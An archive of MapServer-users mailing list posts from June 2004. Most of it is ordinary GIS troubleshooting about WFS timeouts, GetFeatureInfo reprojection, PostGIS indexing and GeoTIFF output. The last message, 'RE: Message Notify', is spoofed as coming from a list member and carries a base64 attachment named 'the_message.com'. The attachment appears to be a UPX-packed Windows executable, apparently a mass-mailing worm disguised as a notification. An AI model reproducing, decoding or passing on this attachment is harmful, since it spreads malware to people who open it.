"EPSG:4269" "wfs_name" "streets" "wfs_title" "streets" "wfs_version" "1.0.0" "wfs_request_method" "GET" "wfs_connectiontimeout" "60" END I still have the problem that the connections are timing out. But I'll start a new thread on this... Thanks a lot, Bart. From doug at moximedia.com Tue Jun 1 14:36:28 2004 From: doug at moximedia.com (Doug Cates) Date: 01 Jun 2004 14:36:28 -0700 Subject: [Mapserver-users] WMS GetFeatureInfo reprojection problem? Message-ID: <1086125787.8590.39.camel@moxi-rh9> Hi, I'm seeing a problem when doing a GetFeatureInfo on a MapServer 4.0.2 WMS server instance. I'm wondering if this is a know problem.... The problem appears when the layer is being projected on the fly (e.g geographic shapefile in a request in BC Albers), with the map file set up like this: NAME "usershape" STATUS ON SIZE 400 400 UNITS METERS SHAPEPATH "/var/moxi_apps/web-sites/temp" IMAGECOLOR 255 255 255 IMAGETYPE PNG SYMBOL NAME "square" TYPE vector FILLED true POINTS 0 0 0 12 12 12 12 0 0 0 END END PROJECTION "init=epsg:42102" END WEB TEMPLATE "none.html" IMAGEPATH "/var/moxi_apps/web-sites/temp/" IMAGEURL "http://209.126.184.40/temp/" METADATA WMS_TITLE "User uploaded data" WMS_ABSTRACT "Temporary service based on user uploaded data." WMS_ONLINERESOURCE "http://www.moxi.ca/cgi-bin/mapserv?map=/var/moxi_apps/web-sites/temp/shp45091.map&" WMS_SRS "EPSG:42102 EPSG:4326" END END LAYER NAME "shp45091" TYPE POLYGON DATA shp45091 STATUS ON PROJECTION "init=epsg:4326" END METADATA WMS_TITLE "shp45091" END DUMP TRUE CLASS TEMPLATE "none.html" COLOR 192 255 192 OUTLINECOLOR 0 0 0 END END END I'm finding that queries are not returning any results when requesting the GetFeatureInfo using the 42102 EPSG code: http://www.moxi.ca/cgi-bin/mapserv?map=/var/moxi_apps/web-sites/temp/shp45091.map&VERSION=1.1.0&REQUEST=GetFeatureInfo&LAYERS=shp45091&STYLES=&SRS=EPSG%3A42102&BBOX=13955.0,281901.0,2047779.0,1773046.0&WIDTH=832&HEIGHT=610&FORMAT=image/png&QUERY_LAYERS=shp45091&INFO_FORMAT=application/vnd.ogc.gml&FEATURE_COUNT=25&X=427&Y=263& The map draws fine: http://www.moxi.ca/cgi-bin/mapserv?map=/var/moxi_apps/web-sites/temp/shp45091.map&VERSION=1.1.0&REQUEST=GetMap&LAYERS=shp45091&STYLES=&SRS=EPSG%3A42102&BBOX=13955.0,281901.0,2047779.0,1773046.0&WIDTH=832&HEIGHT=610&FORMAT=image/png& Is this a bug? Should this work? Seems to me that it should.... All the best, Doug From bartvde at xs4all.nl Tue Jun 1 14:39:04 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 01 Jun 2004 23:39:04 +0200 Subject: [Mapserver-users] WFS client howto In-Reply-To: <20040601141029.O14255@osiris.deathkeep.com> References: <20040601113742.L12557@osiris.deathkeep.com> <20040601141029.O14255@osiris.deathkeep.com> Message-ID: Hi Gregor, the best thing is to start with a very small BBOX. GML is a slow medium, and the generating and parsing will take quite some time, depending on the size of your dataset, possibly longer than 60 seconds. Are you requesting the whole map (i.e. the whole dataset)? Try the most simple GET request in a browser using a very small BBOX on your data and get that working first. BTW: Did you set your MAP file with env variables or something similar so that you don't need to specify ?map= in the CONNECTION? Just checking. Best regards, Bart On Tue, 1 Jun 2004 14:16:35 -0700 (PDT), Gregor Mosheh wrote: > > Thanks for your help, Bart. It still doesn't work, but at least I now > know > why. > >> But you have probably run into something like the following: >> http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=597 > > Yes, that's the same result I was getting with my manually-entered URLs. > So that "nothing there" response is the "junk" that makes the layer (and > thus the whole map) fail? > > > >> Set your wfs_request_method metadata to GET then you can see in the >> Apache >> log exactly the full request which gets sent. > > Yes, and that gave me the lead to figure out what was being sent and thus > what was wrong. Now my WFS client looks like this, and is at least > sending > requests to the httpd. This paragraph is nothing at all like the one in > the howto, though. Any comments? (the CONNECTION is right. it's a > dedicated wms/wfs-only mapserver) > > CONNECTIONTYPE wfs > CONNECTION "http://maps.hostgis.com:800/mapserv?" > METADATA > "wfs_service" "WFS" > "wfs_typename" "streets" > "wfs_srs" "EPSG:4269" > "wfs_name" "streets" > "wfs_title" "streets" > "wfs_version" "1.0.0" > "wfs_request_method" "GET" > "wfs_connectiontimeout" "60" > END > > > > I still have the problem that the connections are timing out. But I'll > start a new thread on this... Thanks a lot, Bart. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From bartvde at xs4all.nl Tue Jun 1 14:46:23 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 01 Jun 2004 23:46:23 +0200 Subject: [Mapserver-users] WMS GetFeatureInfo on PostGIS slow? In-Reply-To: References: Message-ID: Just reporting back to the list, Paul Ramsey solved my problem on the PostGIS user list (thanks again). I missed an index on my table: create index top50_oid_idx on top50 (oid); Best regards, Bart On Sun, 30 May 2004 14:53:37 +0200, Bart van den Eijnden wrote: > Hi list, > > I have started my first adventures with PostGIS and I am quite impressed > by the speed with which the map is drawn. > > I have a polygon layer with 1,5 million records. > > As I said, map performance is good. But when I use GetFeatureInfo on the > PostGIS layer, it takes more than 5 seconds for Mapserver to come back > with the result. In the PostgreSQL console I see: > > ERROR: cursor "mycursor" does not exist > > Is this normal performance for GetFeatureInfo on PostGIS, or can I tweak > something to speed this up? I am using Mapserver 4.2 beta 3, as this is > the latest Win binary available. > > Thanks in advance. > > Best regards, > Bart > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From NamnatSR at NV.DOE.GOV Tue Jun 1 14:49:47 2004 From: NamnatSR at NV.DOE.GOV (Namnath, Sharyn) Date: Tue, 1 Jun 2004 14:49:47 -0700 Subject: [Mapserver-users] Now I get a blank image Message-ID: <89E34224EAFDD411B6AD0002A529187F20752B@stl-exchpo1-nt.nv.doe.gov> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-9c492d05-62d2-450c-9252-f2b2f4bd8649 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C44822.5B8446E0" Content-Transfer-Encoding: 7bit ------_=_NextPart_001_01C44822.5B8446E0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Ok, now that you all held my hand through finding extents, I am getting a white image. The image file I'm trying to display is not a shp file, it's a jpg. Here's the Map file : MAP NAME HELLO IMAGETYPE PNG STATUS ON EXTENT 12.90 44.02 14.01 42.95 SIZE 400 300 # IMAGECOLOR 200 255 255 WEB IMAGEPATH "/Inetpub/wwwroot/MyOwnData/tmp/" IMAGEURL "tmp/" END LAYER # MODIS raster layer begins here NAME Italy DATA "data/Italy.jpg" STATUS DEFAULT TYPE RASTER PROCESSING "BANDS=1,2,3" OFFSITE 71 74 65 # PROJECTION # "init=epsg:4326" # END END # MODIS raster layer ends here END Thanks again.. sharyn ------_=_NextPart_001_01C44822.5B8446E0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable

Ok, now that you all held my hand through finding = extents, I am getting a white image.

 

The image file I'm trying to display is not a shp file, it's a jpg.

 

Here's the Map file :

MAP

    NAME HELLO

    = IMAGETYPE      PNG

    STATUS ON

    EXTENT 12.90 44.02 14.01 = 42.95

    SIZE 400 300

#    IMAGECOLOR 200 255 = 255

    WEB

        IMAGEPATH = "/Inetpub/wwwroot/MyOwnData/tmp/"

        IMAGEURL = "tmp/"

    END

 

LAYER # MODIS raster layer begins = here

  = NAME         = Italy

  = DATA         = "data/Italy.jpg"

  STATUS       = DEFAULT

  = TYPE         = RASTER

  PROCESSING   = "BANDS=3D1,2,3"

  OFFSITE      71 74 = 65

 

#  PROJECTION

#    = "init=3Depsg:4326"

#  END

END # MODIS raster layer ends here

 

END

 

 

Thanks again..

sharyn

------_=_NextPart_001_01C44822.5B8446E0-- ------=_NextPartTM-000-9c492d05-62d2-450c-9252-f2b2f4bd8649-- From stigmata at blackangel.net Tue Jun 1 14:56:58 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Tue, 1 Jun 2004 14:56:58 -0700 (PDT) Subject: [Mapserver-users] WFS client howto In-Reply-To: References: <20040601113742.L12557@osiris.deathkeep.com> <20040601141029.O14255@osiris.deathkeep.com> Message-ID: <20040601144242.U14255@osiris.deathkeep.com> > BTW: Did you set your MAP file with env variables or something similar so > that you don't need to specify ?map= in the CONNECTION? Just checking. Yep. Using a wrapper as described in the WMS docs. > GML is a slow medium, and the generating and parsing will take quite some > time, depending on the size of your dataset, possibly longer than 60 > seconds. Are you requesting the whole map (i.e. the whole dataset)? Darn, that's exactly what I was writing up the details about. I can do a query that covers a large geographic area, and the query runs in a second or two, but it seems to be the GML and delivery layer that's taking the rest of the time. WMS works A-OK and is reasonably fast, so I definitely think you're right about it being the GML. It does technically work (on the smaller datasets) but the delay of a few minutes just won't work for our needs. Some of the data layers we were hoping to serve out via WFS are expected to contain a lot of data in a bbox, e.g. the city-points on a USA map, and street lines in a few square miles of dense city. Is this just not feasible at this time? Our WMS system works A-OK, although the rasters are often reprojected by the client (we use DD for the datasets, LCC or a UTM is usually used for the output) and so they come out looking al funky. That's what we were really trying to avoid. Perhaps, if WFS won't work for these needs, a solution could be found with WMS? From bartvde at xs4all.nl Tue Jun 1 15:02:45 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Wed, 02 Jun 2004 00:02:45 +0200 Subject: [Mapserver-users] WMS GetFeatureInfo reprojection problem? In-Reply-To: <1086125787.8590.39.camel@moxi-rh9> References: <1086125787.8590.39.camel@moxi-rh9> Message-ID: Hi Doug, I just tried on my data and I can reproduce the situation. I have created a bug in bugzilla: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=707 Best regards, Bart On 01 Jun 2004 14:36:28 -0700, Doug Cates wrote: > Hi, > > I'm seeing a problem when doing a GetFeatureInfo on a MapServer 4.0.2 > WMS server instance. I'm wondering if this is a know problem.... > > The problem appears when the layer is being projected on the fly (e.g > geographic shapefile in a request in BC Albers), with the map file set > up like this: > > NAME "usershape" > STATUS ON > SIZE 400 400 > UNITS METERS > SHAPEPATH "/var/moxi_apps/web-sites/temp" > IMAGECOLOR 255 255 255 > IMAGETYPE PNG > SYMBOL > NAME "square" > TYPE vector > FILLED true > POINTS > 0 0 > 0 12 > 12 12 > 12 0 > 0 0 > END > END > PROJECTION > "init=epsg:42102" > END > WEB > TEMPLATE "none.html" > IMAGEPATH "/var/moxi_apps/web-sites/temp/" > IMAGEURL "http://209.126.184.40/temp/" > METADATA > WMS_TITLE "User uploaded data" > WMS_ABSTRACT "Temporary service based on user uploaded data." > WMS_ONLINERESOURCE > "http://www.moxi.ca/cgi-bin/mapserv?map=/var/moxi_apps/web-sites/temp/shp45091.map&" > WMS_SRS "EPSG:42102 EPSG:4326" > END > END > LAYER > NAME "shp45091" > TYPE POLYGON > DATA shp45091 > STATUS ON > PROJECTION > "init=epsg:4326" > END > METADATA > WMS_TITLE "shp45091" > END > DUMP TRUE > CLASS > TEMPLATE "none.html" > COLOR 192 255 192 > OUTLINECOLOR 0 0 0 > END > END > END > > I'm finding that queries are not returning any results when requesting > the GetFeatureInfo using the 42102 EPSG code: > > http://www.moxi.ca/cgi-bin/mapserv?map=/var/moxi_apps/web-sites/temp/shp45091.map&VERSION=1.1.0&REQUEST=GetFeatureInfo&LAYERS=shp45091&STYLES=&SRS=EPSG%3A42102&BBOX=13955.0,281901.0,2047779.0,1773046.0&WIDTH=832&HEIGHT=610&FORMAT=image/png&QUERY_LAYERS=shp45091&INFO_FORMAT=application/vnd.ogc.gml&FEATURE_COUNT=25&X=427&Y=263& > > The map draws fine: > > http://www.moxi.ca/cgi-bin/mapserv?map=/var/moxi_apps/web-sites/temp/shp45091.map&VERSION=1.1.0&REQUEST=GetMap&LAYERS=shp45091&STYLES=&SRS=EPSG%3A42102&BBOX=13955.0,281901.0,2047779.0,1773046.0&WIDTH=832&HEIGHT=610&FORMAT=image/png& > > Is this a bug? Should this work? Seems to me that it should.... > > All the best, > Doug > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From murilo.yoshida at agx.com.br Tue Jun 1 16:22:29 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Tue, 1 Jun 2004 20:22:29 -0300 Subject: [Mapserver-users] GMT and netCDF Message-ID: <000001c4482f$59df84a0$1364a8c0@parapente> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C44816.34924CA0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, Has anyone in the list used the GMT (Generic Mapping Tools)? I looked at its documentation and it is really a mess. What I understood is that the input for GMT is a netCDF file, or a ascii table, or a raster file. I use shape files. I didn't found in the documentation a way to translate the shape file to a netCDF file, or use the shape file as input for GMT. And if I understood the documentation, GMT has what I need, that is that map interpolation issue. But things are never that easy... Help me please, Murilo ------=_NextPart_000_0001_01C44816.34924CA0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

  Hi all,

  =

  Has anyone in the list used the = GMT (Generic Mapping Tools)? I looked at its documentation and it is really a = mess… What I understood is that the input for GMT is a netCDF file, or a ascii = table, or a raster file.

  I use shape files. I = didn’t found in the documentation a way to translate the shape file to a netCDF file, or use the shape file as input for = GMT.

  And if I understood the = documentation, GMT has what I need, that is that map interpolation issue. But things = are never that easy...

  Help me = please,

    = Murilo

------=_NextPart_000_0001_01C44816.34924CA0-- From mtperry78 at sbcglobal.net Tue Jun 1 16:31:25 2004 From: mtperry78 at sbcglobal.net (Matthew Perry) Date: Tue, 1 Jun 2004 16:31:25 -0700 (PDT) Subject: [Mapserver-users] GeoTiff output color problems Message-ID: <20040601233125.52582.qmail@web80110.mail.yahoo.com> --0-292640018-1086132685=:52018 Content-Type: text/plain; charset=us-ascii Hello folks, Testing a new intallation of mapserver here and I'm getting some wierd results when outputting Geotiffs: When I use the following: OUTPUTFORMAT NAME GTiff DRIVER "GDAL/GTiff" MIMETYPE "image/tiff" IMAGEMODE PC256 EXTENSION "tif" END I get this image: http://ktrin.cnrs.humboldt.edu/misc/gtiff_256.tif This has the correct colors but poor quality, plus I would like to have 24 bit output. So I tried the following: OUTPUTFORMAT NAME GTiff DRIVER "GDAL/GTiff" MIMETYPE "image/tiff" IMAGEMODE RGB EXTENSION "tif" END which gives me this image with bizzare colors (but better resolution): http://ktrin.cnrs.humboldt.edu/misc/gtiff_rgb.tif Both images are properly georeferenced, though. I have tried reversing the order of the bands (in ArcMap 8.3) to no avail. Any ideas why the Geotiff 24bit color would be innacurate? Thanks for you help, Matt Perry Humboldt State University HostGIS.com --0-292640018-1086132685=:52018 Content-Type: text/html; charset=us-ascii
Hello folks,
 
Testing a new intallation of mapserver here and I'm getting some wierd results when outputting Geotiffs:
 
When I use the following:
 
OUTPUTFORMAT 
  NAME GTiff
  DRIVER "GDAL/GTiff"
  MIMETYPE "image/tiff"
  IMAGEMODE PC256           
  EXTENSION "tif"
END
 
 
This has the correct colors but poor quality, plus I would like to have 24 bit output. So I tried the following:
 
OUTPUTFORMAT 
  NAME GTiff
  DRIVER "GDAL/GTiff"
  MIMETYPE "image/tiff"
  IMAGEMODE RGB           
  EXTENSION "tif"
END
 
which gives me this image with bizzare colors (but better resolution): http://ktrin.cnrs.humboldt.edu/misc/gtiff_rgb.tif
 
Both images are properly georeferenced, though. I have tried reversing the order of the bands (in ArcMap 8.3) to no avail.
 
Any ideas why the Geotiff 24bit color would be innacurate?
 
Thanks for you help,
Matt Perry
Humboldt State University
HostGIS.com
 
 
--0-292640018-1086132685=:52018-- From bigfoot at main-task.com Tue Jun 1 17:07:47 2004 From: bigfoot at main-task.com (=?ISO-8859-1?Q?Vladimir_Guzm=E1n?=) Date: Tue, 01 Jun 2004 19:07:47 -0500 Subject: [Mapserver-users] bug postgis query alias In-Reply-To: <40BB95B9.5060604@main-task.com> References: <40BB95B9.5060604@main-task.com> Message-ID: <40BD1A53.9090501@main-task.com> I've resolved this with a cast: gps_geom from (select gid,'>'::text as sentido,tiempo,360-rumbo+90 as rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid using srid=1 Thanks to Mike Merret for his help with the debugging function. Thanks a lot, -- Vladimir Ilich Guzm?n R. ------------------------ http://maintask.com Vladimir Guzm?n wrote: > Hello. > I'm implementing a gps tracking system. > I want to show the car's orientation like this: > http://maintask.com/test.png > The layer's data is something like this: > ----------------------------- > gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > using srid=1 > ----------------------------- > The field 'sentido' contains '>'. > > The problem is that if I use something like this: > ----------------------------- > gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as > rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > using srid=1 > ----------------------------- > The query doesn't work. > > So I had to create a column in potgres called 'sentido' and all the > rows containing '>'. > > Is this a bug? > > The rest of the layer: > > LAYER > NAME "puntosgps" > CONNECTIONTYPE postgis > CONNECTION "user=gps password=gps dbname=gps host=localhost" > DATA "gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > using srid=1" > TYPE POINT > PROJECTION > "proj=latlong" > "datum=WGS84" > END > LABELANGLEITEM 'rumbo' > LABELITEM 'sentido' > CLASS > NAME 'Parado' > EXPRESSION ([velocidad] = 0) > SIZE 14 > SYMBOL 'circle' > COLOR 0 0 215 > OUTLINECOLOR 204 204 204 > END > CLASS > NAME '0-10' > EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) > SIZE 14 > SYMBOL 'circle' > COLOR 255 255 204 > OUTLINECOLOR 204 204 204 > LABEL > TYPE TRUETYPE > FORCE TRUE > FONT arial > ANTIALIAS TRUE > COLOR 0 0 0 > OUTLINECOLOR 255 255 255 > SIZE 8 > END > END > ... > ... > > Thanks a lot. > From ed at topozone.com Tue Jun 1 17:07:28 2004 From: ed at topozone.com (Ed McNierney) Date: Tue, 1 Jun 2004 20:07:28 -0400 Subject: [Mapserver-users] raster data formats Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB076FD4@ptolemy.topozone.com> Bart - There is no "ideal" solution, because there is no "ideal" problem. It's a bit like asking what the most ideal automobile is - a lot depends on what you need to do with it. The "most ideal raster format" depends upon many factors: In what format is the data available? How difficult is it to convert the data to another format? Must you preserve the original data exactly? How much disk space can you afford? What user load and response time requirements do you have? CPU and memory are lesser factors, because it's usually relatively cheap to get a "lot" of them, whereas multiple terabytes of disk space still costs quite a bit of money - relatively speaking, of course. The third question is important - YOU need to know whether you can consider lossy compression or not. If you need to preserve the original data pixel values exactly, then you simply cross all the lossy compression formats off the list. There's nothing out there to "convince people" - you need to understand your problem, understand the various alternatives, and make the best choice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Bart van den Eijnden Sent: Tuesday, June 01, 2004 4:34 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] raster data formats Hi list, did somebody do a (recent) research into what would be the most ideal raster format for Mapserver (or for webmapping in general)? Aspects which come to mind: -time to produce the map -CPU usage -disk space -memory consumption I would especially be interested in comparing compressed Geotiff, uncompressed Geotiff, ECW and JPEG2000. I know Ed McNierney has made several strong pleas for uncompressed Geotiff although depending on the situation, but are there any hard figures out there to convince people? Ofcourse every research will depend on the rasters used, but just wondering if there are any figures out there. Thanks in advance. Best regards, Bart _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From belg4mit at MIT.EDU Tue Jun 1 17:35:48 2004 From: belg4mit at MIT.EDU (Jerrad Pierce) Date: Tue, 01 Jun 2004 20:35:48 -0400 Subject: [Mapserver-users] [OT] GeoJPEG Message-ID: <200406020035.i520ZmpS029686@buzzword-bingo.mit.edu> Does anyone know why GeoJPEG doesn't include the refrencing data within EXIF extensions, instead of a seperate file? -- H4sICNoBwDoAA3NpZwA9jbsNwDAIRHumuC4NklvXTOD0KSJEnwU8fHz4Q8M9i3sGzkS7BBrm OkCTwsycb4S3DloZuMIYeXpLFqw5LaMhXC2ymhreVXNWMw9YGuAYdfmAbwomoPSyFJuFn2x8 Opr8bBBidccAAAA= -- MOTD on Boomtime, the 6th of Confusion, in the YOLD 3170: Move on a stone dark night we take a flight snowfall turns to rust --Stiltskin From Kalpin Thu Jun 3 18:29:28 2004 From: Kalpin (Kalpin) Date: Fri, 4 Jun 2004 08:29:28 +0700 Subject: [Mapserver-users] Mapserver using MSSQL References: <006801c44952$881a7e00$3701010a@kalpin> <13183.212.238.227.182.1086085660.squirrel@webmail.xs4all.nl> <00c101c44959$e58433e0$3701010a@kalpin> <40BC6E07.7050400@ilmenau.baw.de> Message-ID: <010901c449d3$6635de70$3701010a@kalpin> Dear all, I am downloading OpenEV_FW_174.zip, my question is : how to make my mapserv use the new OGR ? because I put my MapServ at C:\Apache\cgi-bin\ and my openev at D:\openev. Thank you Kalpin Erlangga Silaen ----- Original Message ----- From: "Norbert Thieme" To: "Kalpin Erlangga Silaen" Cc: Sent: Tuesday, June 01, 2004 6:52 PM Subject: Re: [Mapserver-users] Mapserver using MSSQL > Kalpin Erlangga Silaen schrieb: > > Dear all, > > > > 1. While I try use ogrinfo I get error like this : > > D:\openev_fw\bin>ogrinfo layer1.ovf > > FAILURE: > > Unable to open datasource `layer1.ovf' with the following drivers. > > -> ESRI Shapefile > > -> UK .NTF > > -> SDTS > > -> TIGER > > -> IHO S-57 (ENC) > > -> MapInfo File > > -> DGN > > -> GML > > -> AVCBin > > -> OGDI > > > > Hi, > > in your version of OGR ODBC is missing. This version seem not to be > compiled with ODBC support. So you have to get another version of OGR. > > Regards, > Norbert > > > > D:\openev_fw\bin> > > > > 2. I am using Mapserver version 4.2 beta2 (ms42b2_gif_pg.zip) > > > > 3. Yes, I am using System DSN to create ODBC connection. > > > > I have try change LAYER_1 to another one like KAMPUN_1 and still same error. > > I am still need your help. > > > > Thank you > > > > > > > > Kalpin Erlangga Silaen > > From steve.lime at dnr.state.mn.us Tue Jun 1 21:30:01 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 01 Jun 2004 22:30:01 -0600 Subject: [Mapserver-users] RE: Message Notify Message-ID: ----------bculjuqmmbwxdqxgffdy Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------bculjuqmmbwxdqxgffdy Content-Type: application/octet-stream; name="the_message.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.com" 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 